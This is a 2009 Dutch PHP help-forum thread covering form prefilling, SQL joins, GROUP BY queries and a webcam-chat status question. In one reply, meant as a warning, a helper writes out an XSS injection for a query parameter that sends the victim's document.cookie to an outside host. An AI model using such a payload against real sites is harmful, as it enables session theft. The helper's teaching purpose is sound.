abonnement Unibet Coolblue Bitvavo
  vrijdag 20 maart 2009 @ 23:15:20 #51
75592 GlowMouse
l'état, c'est moi
pi_67257255
Die ifjes zullen wel niet meer kloppen. Waarom doe je dat niet met een WHERE in je query?
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_67257523
Het is gewoon een hele lijst met data, evenementen en wat extra info. Daarvan wil ik op een homepage gewoon een samenvatting weergeven van de aankomende X-aantal evenementen. Zou met LIMIT gewoon moeten kunnen lijkt mij. Ik zie trouwens ook niet echt iets fout gaan in de IF's...
Aan dit bericht kunnen geen rechten worden ontleend.
  vrijdag 20 maart 2009 @ 23:30:28 #53
75592 GlowMouse
l'état, c'est moi
pi_67257885
quote:
Op vrijdag 20 maart 2009 23:21 schreef poepeneesje het volgende:
Zou met LIMIT gewoon moeten kunnen lijkt mij. Ik zie trouwens ook niet echt iets fout gaan in de IF's...
De 8 die je opvraagt voldoen niet aan de IF, klaar. En 'een hele lijst met data' kun je prima met je query filteren.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_67289209
Ik heb een probleem bij het doorgeven van waardes naar een ander formulier.
Ik heb een spelers tabel. In de spelerstabel staat bij elke rij edit knop. Deze knop roept een php bestand aan waarin de waardes voor de spelers kunnen worden aangepast. Ik kan wel wijzigingen doen maar de waardes worden niet in de velden gezet. De waardes worden als het ware niet doorgegeven. Mijn code is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
   function getrecords(){
   $sql = "SELECT * from SPELERS";
   $db = mysql_pconnect('localhost');
   if(!db){
      echo 'fout: kreeg geen verbinding met de database';
      exit;
      }
   mysql_select_db('zaalvoetbal');
   $result=mysql_query($sql);
   if (!$result){
      echo 'fout: sql statement niet correct';
      exit;
      }
   return $result;
   }
   function queryString ($id,$a,$b,$c,$d){
      return htmlspecialchars('spelers_id='.$id.'spelers_voornaam='.$a.'spelers_achternaam='.$b.'spelers_gsm='.$c.'spelers_punten='.$d);   
      }
   $result = getrecords();
   $num_results = mysql_num_rows($result);
   echo 'aantal records:'.$num_results.'<BR><BR>'."\n";
   echo '<table border=1>';
   for ($i=0;  $i < $num_results;$i++){
      $row = mysql_fetch_array($result);
      $spelers_id = $row['spelers_id'];
      $spelers_voornaam = $row['spelers_voornaam'];
      $spelers_achternaam = $row['spelers_achternaam'];
      $spelers_gsm = $row['spelers_gsm'];
      $spelers_punten = $row['spelers_punten'];
      echo '<tr><td>';
      echo $spelers_id;
      echo '</td><td>';
      echo $spelers_voornaam;
      echo '</td><td>';
      echo $spelers_achternaam;
      echo '</td><td>';
      echo $spelers_gsm;
      echo '</td><td>';
      echo $spelers_punten;
      echo '</td><td>';
      echo  '<a href="spelers_edit.php?';
      echo queryString($spelers_id,$spelers_voornaam,$spelers_achternaam,$spelers_gsm,$spelers_punten);
      echo '">edit</a>';
      echo '</td></tr>'."\n";
      }
      echo '</table>';
?>


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<h3>Spelers Bewerken</h3>
<?php
   $spelers_id = $HTTP_GET_VARS['spelers_id'];
   $spelers_voornaam = $HTTP_GET_VARS['spelers_voornaam'];
   $spelers_achternaam =  $HTTP_GET_VARS['spelers_achternaam'];
   $spelers_gsm =  $HTTP_GET_VARS['spelers_gsm'];
   $spelers_punten =  $HTTP_GET_VARS['spelers_punten'];
?>
<?php echo $spelers_voornaam?>;
<form method="post" action="spelersUpdateRecord.php">
<input type="hidden" name="spelers_id" value="<?php echo $spelers_id?>">
Voornaam:<br>
<input type="Text" name="spelers_voornaam" size=20 value="<?php echo $spelers_voornaam?>"><br><br>
achternaam:<br>
<input type="Text" name="spelers_achternaam" size=20 value="<?php echo $spelers_achternaam?>"><br><br>
gsm:<br>
<input type="Text" name="spelers_gsm" size=20 value="<?php echo $spelers_gsm?>"><br><br>
punten:<br>
<input type="Text" name="spelers_punten" size=20 value="<?php echo $spelers_punten?>"><br><br>
<input type="submit" name="bewaren" value="bewaren">
</form>
  zondag 22 maart 2009 @ 12:48:56 #55
75592 GlowMouse
l'état, c'est moi
pi_67290127
1. Je wilt geen verbinding maken met de database in een algemene functie.
2. mysql_pconnect kost lekker veel verbindingen wanneer je veel apache workerthreads hebt.
3. gebruik geen for én mysql_fetch_array($result), maar het kortere while($row = mysql_fetch_array($result)) { }
4. gebruik urlencode
5. gebruik $_GET['varname'] ipv $HTTP_GET_VARS['varname']
6. zoek eens op XSS (cross site scripting)
7. gebruik templates om code en opmaak te scheiden
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_67291921
quote:
Op zondag 22 maart 2009 12:48 schreef GlowMouse het volgende:
1. Je wilt geen verbinding maken met de database in een algemene functie.
2. mysql_pconnect kost lekker veel verbindingen wanneer je veel apache workerthreads hebt.
3. gebruik geen for én mysql_fetch_array($result), maar het kortere while($row = mysql_fetch_array($result)) { }
4. gebruik urlencode
5. gebruik $_GET['varname'] ipv $HTTP_GET_VARS['varname']
6. zoek eens op XSS (cross site scripting)
7. gebruik templates om code en opmaak te scheiden
ten eerste thx voor de tips! ik ben net begonnen en heb een boek gelezen die (net gekeken) in 2005 is uitgekomen. Ik ga een nieuw boek aanschaffen.
1. bedoel je hiermee dat je de een aparte php bestand moet aanmaken die het verbinding maken aanroept.
2. kan ik dan beter mysql_connect gebruiken
3. duidelijk
4. duidelijk
5. ok ik neem aan dat ik ook HTTP_POST_VARS moet vervangen door $_POST
6. net een stukje over gelezen. Ik begrijp eruit dat mijn db corrupt kan worden doordat ik via urls ook de gegevens weg kan schrijven. Hangt dit samen met punt 4?
7. duidelijk
pi_67292268
quote:
Op zondag 22 maart 2009 12:48 schreef GlowMouse het volgende:
1. Je wilt geen verbinding maken met de database in een algemene functie.
2. mysql_pconnect kost lekker veel verbindingen wanneer je veel apache workerthreads hebt.
3. gebruik geen for én mysql_fetch_array($result), maar het kortere while($row = mysql_fetch_array($result)) { }
4. gebruik urlencode
5. gebruik $_GET['varname'] ipv $HTTP_GET_VARS['varname']
6. zoek eens op XSS (cross site scripting)
7. gebruik templates om code en opmaak te scheiden
heb de$HTTP..vervangen door $_GET. Nog steeds wordt in invulvelden de waarde niet gevuld. Weet je waaraan het kan liggen?
  zondag 22 maart 2009 @ 13:58:42 #58
75592 GlowMouse
l'état, c'est moi
pi_67292308
1. Ja dat, en dan aan het begin van je script een keer aanroepen en die verbinding dan in de rest van je script gebruiken. Eventueel later kun je je eigen db-klasse shrijven.
2. ja, bij mysql gaat connecten toch snel.
5. klopt, en je hebt ook nog $_COOKIE.
6. Nee hangt niet samen. Input moet je altijd controleren. Zie oa. ook discussies over SQL injection. Wat als ik nu spelers_edit.php?spelers_id="><script language="JavaScript">document.write('<img src="http://mijnsite.com/?cookie' + document.cookie . '</img');</script> door jou laat aanklikken? Dan heb ik je cookie.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
  zondag 22 maart 2009 @ 13:59:09 #59
75592 GlowMouse
l'état, c'est moi
pi_67292318
quote:
Op zondag 22 maart 2009 13:57 schreef jakees het volgende:

[..]

heb de$HTTP..vervangen door $_GET. Nog steeds wordt in invulvelden de waarde niet gevuld. Weet je waaraan het kan liggen?
Nee, heb je een linkje?
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_67292404
quote:
Op zondag 22 maart 2009 13:59 schreef GlowMouse het volgende:

[..]

Nee, heb je een linkje?
nee ik werk alleen lokaal nog. Site is nog niet up zeg maar. Als ik in mijn spelers_edit.php
1<?php echo $spelers_voornaam?>; 
aanroep dan krijg ik geen resultaat. Het gekke is dat het wegschrijven wel goed gaat. De regel waar het ondermeer misgaat:
1<input type="Text" name="spelers_voornaam" size=20 value="<?php echo $spelers_voornaam?>"><br><br>
  zondag 22 maart 2009 @ 14:05:21 #61
75592 GlowMouse
l'état, c'est moi
pi_67292509
Puntkomma's moeten sowieso voor de ?> komen. Het statement is 'echo $spelers_voornaam', en dat moet je afsluiten met een puntkomma.
Je post begrijp ik niet.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_67294491
quote:
Op zondag 22 maart 2009 14:05 schreef GlowMouse het volgende:
Puntkomma's moeten sowieso voor de ?> komen. Het statement is 'echo $spelers_voornaam', en dat moet je afsluiten met een puntkomma.
Je post begrijp ik niet.
ik heb een scherm waarin spelers wil wijzigen één voor één. ik selecteer een speler in een scherm waarna ik in het wijzig scherm kom. Ik wil dan dat de waardes van de tabel in de velden gevuld zijn. Dus bij voornaam staat dan al bijvoorbeeld "piet". Deze tekst kan worden overschreven door hetgeen ik intyp in het veld.
pi_67302447
quote:
Op zondag 22 maart 2009 15:04 schreef jakees het volgende:

[..]

ik heb een scherm waarin spelers wil wijzigen één voor één. ik selecteer een speler in een scherm waarna ik in het wijzig scherm kom. Ik wil dan dat de waardes van de tabel in de velden gevuld zijn. Dus bij voornaam staat dan al bijvoorbeeld "piet". Deze tekst kan worden overschreven door hetgeen ik intyp in het veld.
Dan moet je je variablen vullen door middel van een database query, niet met een GET request.
pi_67312232
quote:
Op zondag 22 maart 2009 14:05 schreef GlowMouse het volgende:
en dat moet je afsluiten met een puntkomma.
<?= $bla ?> werkt prima zonder ; hoor (idem voor het langere <?php echo $bla ?>)
  maandag 23 maart 2009 @ 00:53:25 #65
56176 Catch22-
Ben je Blind?!
pi_67312437
misschien een idee om wat links naar basic tutorials neer te plempen in de OP? Ik zie hier steeds vaker vragen voorbijkomen, dat ik denk; wat weet je meer van php dan de wijze waarop je het spelt?
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
pi_67314401
Eens met Catch22. Het is dan wel voor dummies, maar dat wil niet zeggen dat iets van het niveau "ik wil iets, heb gehoord dat het met PHP kan en nu vraag ik jullie om een klant en klaar script" veel bijdraagt.
pi_67314456
quote:
Op maandag 23 maart 2009 08:39 schreef Roy_T het volgende:
Eens met Catch22. Het is dan wel voor dummies, maar dat wil niet zeggen dat iets van het niveau "ik wil iets, heb gehoord dat het met PHP kan en nu vraag ik jullie om een klant en klaar script" veel bijdraagt.
Eensch. Daarnaast zou een topic voor de wat meer onderlegde PHP-ers onder ons geen kwaad kunnen.
  maandag 23 maart 2009 @ 08:53:07 #68
56176 Catch22-
Ben je Blind?!
pi_67314638
naja ik heb persoonlijk geen zin om newbies te helpen die nog niet weten hoe ze een formulier moeten posten en ik denk dat dat voor meer mensen geldt.

Als het leuke vragen zijn die getuigen van iets aan eigen inzet wil ik er best even over nadenken
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
pi_67314676
quote:
Op maandag 23 maart 2009 08:53 schreef Catch22- het volgende:
naja ik heb persoonlijk geen zin om newbies te helpen die nog niet weten hoe ze een formulier moeten posten en ik denk dat dat voor meer mensen geldt.

Als het leuke vragen zijn die getuigen van iets aan eigen inzet wil ik er best even over nadenken
Eens. De ingewikkeldere vragen zijn leuker dan de 'help, ik heb iets gejat en het werkt niet' vragen.
  maandag 23 maart 2009 @ 11:20:34 #70
187069 slacker_nl
Sicko pur sang
pi_67318158
quote:
Op maandag 23 maart 2009 08:53 schreef Catch22- het volgende:
naja ik heb persoonlijk geen zin om newbies te helpen die nog niet weten hoe ze een formulier moeten posten en ik denk dat dat voor meer mensen geldt.

Als het leuke vragen zijn die getuigen van iets aan eigen inzet wil ik er best even over nadenken
Niemand verplicht je om vragen te beantwoorden, als jij ergens een vraag ziet waarvan je denkt, dat ga ik niet beantwoorden, doe het vooral ook niet.
In theory there is no difference between theory and practice. In practice there is.
  maandag 23 maart 2009 @ 11:45:03 #71
56176 Catch22-
Ben je Blind?!
pi_67318981
Nee dat is waar, maar misschien als we wat goeie tutorials (ook mbt debuggen) neerzetten, dan kan men die eerst doornemen.

Straks heb je hier een helpdesk met het nivo van 'plemp je codeblock hier neer en een nerd die lost het probleem wel'
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
  maandag 23 maart 2009 @ 12:06:39 #72
187069 slacker_nl
Sicko pur sang
pi_67319728
Op zich is dat ook niet erg, denk dat deze reeks ook daardoor zo succesvol is geworden, mensen kunnen hier gewoon hun PHP vragen kwijt, hoe simpel deze ook mogen zijn voor de PHP veteraan.

En het komt ook voor dat nav een simpele vraag de veteranen gaan lopen lullen of X methode beter is dan Y methode. Ik ben niet zo bang dat dit een helpdesk topic wordt, dat stadium hebben we allang bereikt
In theory there is no difference between theory and practice. In practice there is.
  maandag 23 maart 2009 @ 12:39:43 #73
56176 Catch22-
Ben je Blind?!
pi_67320794
dan nog is het niet erg om even een aantal tutorials te noemen in de OP
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
  maandag 23 maart 2009 @ 13:11:24 #74
187069 slacker_nl
Sicko pur sang
pi_67321756
Daar heb ik ook geen problemen mee hoor
In theory there is no difference between theory and practice. In practice there is.
pi_67347039
http://www.fluffycat.com/PHP-Design-Patterns/ <-- design patterns, ook handig voor in de OP.
pi_67360442
Ik ben bezig om voor mijn stage een opdracht uit te voeren, waar de it mannen aldaar ook niet uit komen. Ik heb ze gevraagd om hulp, maar zij raadden me aan een forum te bezoeken en daar hulp te vragen. Vandaar dat ik dus weer hier een vraag post. Hier is het probleem.

We zijn bezig om een programma te ontwikkelen waarin specialiteiten in kaart worden gebracht. In principe gaat het om matchen van wensen van de gebruiker met de medewerkers die beschikken over specialiteiten. Ik wil met 1 query de matchende medewerkers uit de database halen die beschikt over meerdere tabellen. Er zijn meerdere systemen die gebruik maken van de database dus een mutatie is geen optie. Voor mijn voorbeelden heb ik andere database veldnamen gebruikt.

Tabel structuur
1
2
3
4
5
6
7
8
9
10
11
12
13
14
-----------
Werknemers
-----------
id
name
[meer info]

------------------
specialiteiten
------------------
werknemer_id
specialiteit_naam
waarde
------------------



Tabel inhoud
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
------------
werknemers
------------
 1 - Mark
23 - Pieter
45 - Hans
54 - Willem

--------------------------------------
specialiteiten
--------------------------------------
 1 - OperatingSystems - Windows
 1 - OperatingSystems - Linux
 1 - ProgrammingLanguages - PHP
23 - OperatingSystems - MAC
23 - ProgrammingLanguages - ASP
45 - ProgrammingLanguages - JavaScript
45 - ProgrammingLanguages - PHP
45 - ProgrammingLanguages - ASP.NET
54 - OperatingSystems - Windows
54 - ProgrammingLanguages - ASP.NET
--------------------------------------


Op deze tabellen run ik de volgende query:

Deze werkt niet:
1
2
3
4
5
SELECT w.* 
FROM werknemers w, specialiteiten s 
WHERE w.id = s.werknemer_id 
AND (s.specialiteit_naam = 'OperatingLanguages' AND s.waarde IN ('Windows', 'Mac')) 
AND (s.specialiteit_naam = 'ProgrammingLanguages' AND s.waarde IN ('ASP', 'PHP')) 


Deze werkt wel:
1
2
3
4
SELECT w.* 
FROM werknemers w, specialiteiten s 
WHERE w.id = s.werknemer_id 
AND (s.specialiteit_naam = 'OperatingLanguages' AND s.waarde IN ('Windows', 'Mac')) 


Maar hij moet uitgebreider, zoals in het eerste voorbeeld. Hoe formuleer in de query correct?
Amsterdam, stad van hash en coke,
Waar de vrouwen zich vrouwelijk gedragen..
En de mannen ook..
pi_67360934
Wat moet uitgebreider? Wat wil je precies uit je database laten rollen? Je huidige queries zijn overigens erg slordig, probeer met (LEFT / RIGHT OUTER) JOINs te werken waar het mogelijk is in plaats van 2 hele tabellen leeg te trekken en daar vervolgens een filtering op toe te passen.
pi_67360955
('ASP', 'PHP')) moet dat niet ('ASP.NET', 'PHP')) zijn?
pi_67361146
quote:
Op dinsdag 24 maart 2009 16:08 schreef Tuvai.net het volgende:
Wat moet uitgebreider? Wat wil je precies uit je database laten rollen? Je huidige queries zijn overigens erg slordig, probeer met (LEFT / RIGHT OUTER) JOINs te werken waar het mogelijk is in plaats van 2 hele tabellen leeg te trekken en daar vervolgens een filtering op toe te passen.
De namen van de medewerkers die kunnen werken met Windows en MAC én gespecialiseerd zijn in PHP en ASP wil ik er uit halen..

Gaat het werken wanneer ik left/right/inner joins ga gebruiken? Nooit gedaan namelijk...
Amsterdam, stad van hash en coke,
Waar de vrouwen zich vrouwelijk gedragen..
En de mannen ook..
  dinsdag 24 maart 2009 @ 16:19:10 #80
46383 Tiemie
sowieso wel!
pi_67361284
quote:
Op dinsdag 24 maart 2009 16:15 schreef markiemark het volgende:

[..]

De namen van de medewerkers die kunnen werken met Windows en MAC én gespecialiseerd zijn in PHP en ASP wil ik er uit halen..

Gaat het werken wanneer ik left/right/inner joins ga gebruiken? Nooit gedaan namelijk...
Je voorbeeld-data voldoet niet aan je where. Daarom krijg je 0 results.

Je doet een WHERE namelijk op 1 row en er is geen row die op beide matched.
pi_67361334
quote:
Op dinsdag 24 maart 2009 16:19 schreef Tiemie het volgende:

[..]

Je voorbeeld-data voldoet niet aan je where. Daarom krijg je 0 results.

vind zelf onderstaande netter.
[ code verwijderd ]


Thnx! Hier ga ik ff mee aan de slag!
Amsterdam, stad van hash en coke,
Waar de vrouwen zich vrouwelijk gedragen..
En de mannen ook..
  dinsdag 24 maart 2009 @ 16:22:49 #82
46383 Tiemie
sowieso wel!
pi_67361423
quote:
Op dinsdag 24 maart 2009 16:20 schreef markiemark het volgende:

[..]

Thnx! Hier ga ik ff mee aan de slag!
zie edit
pi_67361430
Voorbeeldje om namen op te halen van mensen die gespecialiseerd zijn in OperatingSystem Windows:

1
2
3
4
5
6
7
8
SELECT
    w.Naam
FROM
    medewerkers w RIGHT OUTER JOIN
        specialiteiten s ON s.werknemer_id = w.id
WHERE
    s.specialiteit_naam = 'OperatingSystems' AND
    s.waarde = 'Windows'

OF
1
2
3
4
5
6
7
8
SELECT
    w.Naam
FROM
    specialiteiten s LEFT OUTER JOIN
        werknemers w ON w.id = s.werknemer_id
WHERE
    s.specialiteit_naam = 'OperatingSystems' AND
    s.waarde = 'Windows'


Kort samengevat: Met een LEFT OUTER JOIN ga je vanuit de 'diepere' tabel werken, met RIGHT OUTER JOIN ga je vanuit de bovenliggende tabel werken. Voor de rest is het in jouw geval simpelweg met de WHERE clausule spelen om de goede filtering toe te passen.
  dinsdag 24 maart 2009 @ 16:33:11 #84
56176 Catch22-
Ben je Blind?!
pi_67361847
He?

Sla je nu in een aparte tabel een specialiteit op met een id, naam en waarde?

Ik zou dit toch anders oplossen. Het liefst een tussenentiteit (de kans is groot dat je ooit meerdere specialiteiten wil kunnen toekennen aan iemand) of een veld in de werknemer.
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
pi_67361952
quote:
Op dinsdag 24 maart 2009 16:33 schreef Catch22- het volgende:
He?

Sla je nu in een aparte tabel een specialiteit op met een id, naam en waarde?

Ik zou dit toch anders oplossen. Het liefst een tussenentiteit (de kans is groot dat je ooit meerdere specialiteiten wil kunnen toekennen aan iemand) of een veld in de werknemer.
Dat sowieso. Een specialiteiten tabel, een gebruikers tabel en een koppeltabel tussen die 2 is voldoende, meerdere vermeldingen in die koppeltabel -> meer specialiteiten.
  dinsdag 24 maart 2009 @ 16:39:09 #86
56176 Catch22-
Ben je Blind?!
pi_67362097
Juist. En het kan nu voor komen dat je bij een entry 'OperatingSystems' hebt, en 'Operating Systems' en 'Opareating systems'. Die zal je niet bijelkaar kunnen rapen.

Dus, normaliseren!
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
pi_67362248
quote:
Op dinsdag 24 maart 2009 16:39 schreef Catch22- het volgende:
Juist. En het kan nu voor komen dat je bij een entry 'OperatingSystems' hebt, en 'Operating Systems' en 'Opareating systems'. Die zal je niet bijelkaar kunnen rapen.

Dus, normaliseren!
pi_67364251
En wat Catch22 en Scorpie zeggen inderdaad. Zulke veel voorkomende 'stringetjes' elke keer textueel opslaan is vragen om problemen en invoerfouten (en op z'n beurt dus ook filter/selectiefouten).
pi_67365151
heb een mysql vraagje, je waarschijnelijk simpel maar ik snap het niet

ik heb een query om de laatste twee reacties uit een fotoboek te halen, klinkt heel simpel. Nu wil ik echter dat het niet twee reacties op de zelfde foto zijn, dus doe ik groep by foto. Nu heb geeft die dus de laatste twee foto's waar een EERSTE reactie op is geplaatst, als er al eerder op die foto is gereageert is die datum bij die groep dus te oud.

ik gebruik nu
1
2
3
4
5
SELECT * 
FROM fotoboek_comments
GROUP BY foto
ORDER BY datum DESC 
LIMIT 0 , 2

wie weet hoe de laatste twee reacties krijg waar de foto's dus niet het zelfde bij zijn.

mocht het niet duidelijk zijn even een voorbeeldje

foto1 - reactie 3 <- wil dus deze foto met reactie als eerste
foto1 - reactie 2
foto2 - reactie 2 <- en deze foto met reactie als tweede
foto2 - reactie 1 <- krijg deze als eerste
foto3 - reactie 1 <- krijg deze als twee
foto1 - reactie 1

weet niet of het duidelijker wordt zo maar hoop dat iemand me kan helpen
  dinsdag 24 maart 2009 @ 18:33:23 #90
75592 GlowMouse
l'état, c'est moi
pi_67365577
Je wilt reacties waarvan id (of tijd) gelijk is aan het maximum id (of tijd) bij die persoon. Dat kun je in je WHERE zetten met een mooie subquery. De performance met jouw datamodel is wel om te janken.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_67365802
Hallo allemaal,

Ik weet niet of ik hier goed zit, maar ik probeer van alles maar kom er maar niet uit.(ben ook maar een beginneling )
Ik ben bezig met een chatsite met cam's, nu zou ik graag foto's van de cam's op de hoofdpagina zetten en als ze daar op klikken dat ze in die chat-kamer uitkomen.
nu heb ik al een chat met cam waarbij automatisch foto's worden gemaakt om de zoveel tijd en op de hoofdpagina kan zetten, alleen nu komt het probleem: deze foto's blijven staan, dus als de chatkamer vrij is blijft de foto van de laatste chatter staan en ziet niemand dat die chatkamer vrij is.
ik zou daar dan liever een plaatje hebben staan waarop staat dat de room vrij is...

De chatkamers staat op een andere server en ik gebruik ze in een inframe, dus mijn vraag is of er een php code is om te zien of iemand anders die pagina al open heeft?
dus dat het script weet of iemand anders die pagina (waarin het inframe zit voor de chat) open heeft
dus op de hoofdpagina de foto van de cam gebruikt als iemand de pagina open heeft en een "chat open" plaatje als niemand die pagina open heeft?
SPOILER
Om spoilers te kunnen lezen moet je zijn ingelogd. Je moet je daarvoor eerst gratis Registreren. Ook kun je spoilers niet lezen als je een ban hebt.
dit ga ik nog even aan de binnekant van mij ogen bekijken
  dinsdag 24 maart 2009 @ 18:44:00 #92
75592 GlowMouse
l'état, c'est moi
pi_67365841
Kijken wanneer het plaatje voor het laatst is aangepast, en indien lang genog, een ander plaatje tonen?
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_67365925
quote:
Op dinsdag 24 maart 2009 18:44 schreef GlowMouse het volgende:
Kijken wanneer het plaatje voor het laatst is aangepast, en indien lang genog, een ander plaatje tonen?
Ik kan niet zien wanneer het plaatje aangepast is helaas
dit ga ik nog even aan de binnekant van mij ogen bekijken
  dinsdag 24 maart 2009 @ 18:48:14 #94
187069 slacker_nl
Sicko pur sang
pi_67365981
quote:
Op dinsdag 24 maart 2009 18:19 schreef qwox het volgende:
heb een mysql vraagje, je waarschijnelijk simpel maar ik snap het niet
SELECT distinct(id), date, comment FROM `fotoboek_comments` order by date limit 0,2

Die distinct zorgt ervoor dat je geen dubbele fotoid's hebt in je resultset. De overige zooi lijkt me voor zichzelf spreken.

[ Bericht 16% gewijzigd door slacker_nl op 24-03-2009 18:53:59 ]
In theory there is no difference between theory and practice. In practice there is.
  dinsdag 24 maart 2009 @ 18:55:38 #95
187069 slacker_nl
Sicko pur sang
pi_67366214
quote:
Op dinsdag 24 maart 2009 18:33 schreef GlowMouse het volgende:
De performance met jouw datamodel is wel om te janken.
Onderbouwde uitspraak, vooral omdat je z'n datamodel ook zo goed kan achterhalen bij het zien van 1 SQL statement..
In theory there is no difference between theory and practice. In practice there is.
  dinsdag 24 maart 2009 @ 18:59:23 #96
75592 GlowMouse
l'état, c'est moi
pi_67366349
quote:
Op dinsdag 24 maart 2009 18:48 schreef slacker_nl het volgende:

[..]

SELECT distinct(id), date, comment FROM `fotoboek_comments` order by date limit 0,2
Ziet er leuk uit, maar wekt niet. DISTINCT gaat over een rij.
quote:
Op dinsdag 24 maart 2009 18:55 schreef slacker_nl het volgende:

[..]

Onderbouwde uitspraak, vooral omdat je z'n datamodel ook zo goed kan achterhalen bij het zien van 1 SQL statement..
Daar heb ik voor geleerd. Met dit datamodel krijgt hij die query onmogelijk snel tenzij er slechts een beperkt aantal records in de tabel zit.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_67366603
ik heb niet doorgeleerd in mysl en database modelen.

Ik snap ook weinig van
quote:
Je wilt reacties waarvan id (of tijd) gelijk is aan het maximum id (of tijd) bij die persoon. Dat kun je in je WHERE zetten met een mooie subquery. De performance met jouw datamodel is wel om te janken.
Wat bedoel je met een subquery by where
pi_67366609
Ik heb eigenlijk een aantal vragen die met elkaar te maken hebben:
1.
http://www.sintjoris.sghetplein.nl/Roosters/klas/menu.htm
Dit is een grote tabel waar ik eigenlijk maar 2 dingen uit moet zien te vissen. De inhoud van de 2e kolom. Ik wil de tekst die er staat én de link die erachter zit. Deze wil ik daarna weer in een andere tabel stoppen. Hoe moet ik dat gaan parsen?

2.
Later eventueel in MySQL stoppen, duurt het lang om per entry 2 waardes uit een mysql table te halen? Niet heel erg lang toch?

3.
Ik wil een search box maken die een lijst begint te filteren zodra je begint met typen. Ik kan zo snel geen voorbeeld vinden, maar je snapt het denk ik wel. Type-ahead heet het volgensmij. Hoe krijg je dat dan voor elkaar met een MySQL table?
  dinsdag 24 maart 2009 @ 19:10:56 #99
75592 GlowMouse
l'état, c'est moi
pi_67366752
quote:
Op dinsdag 24 maart 2009 19:06 schreef qwox het volgende:
[..]

Wat bedoel je met een subquery by where
Je kunt bijvoorbeeld zeggen: WHERE id = (SELECT max(id) FROM fotoboek_comments WHERE ...)

Flaccid:
1. Domtree of regex, kies maar
2. Wat is per entry? je wilt van élk record 2 velden? Dat is snel maar je moet geen duizenden records hebben.
3. Zoek eens op xmlHttpRequest, er komt wat JavaScript en PHP bij kijken
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_67367197
Welk pattern gebruiken jullie om objecten aan te maken binnen jullie applicatie? Voor domain objecten lijkt mij een DomainObjectFactory class handig, die elke keer 1 instantie van een object retourneert?

Of gebruiken jullie een generieke oplossing voor al jullie objecten?
abonnement Unibet Coolblue Bitvavo
Forum Opties
Forumhop:
Hop naar:
(afkorting, bv 'KLB')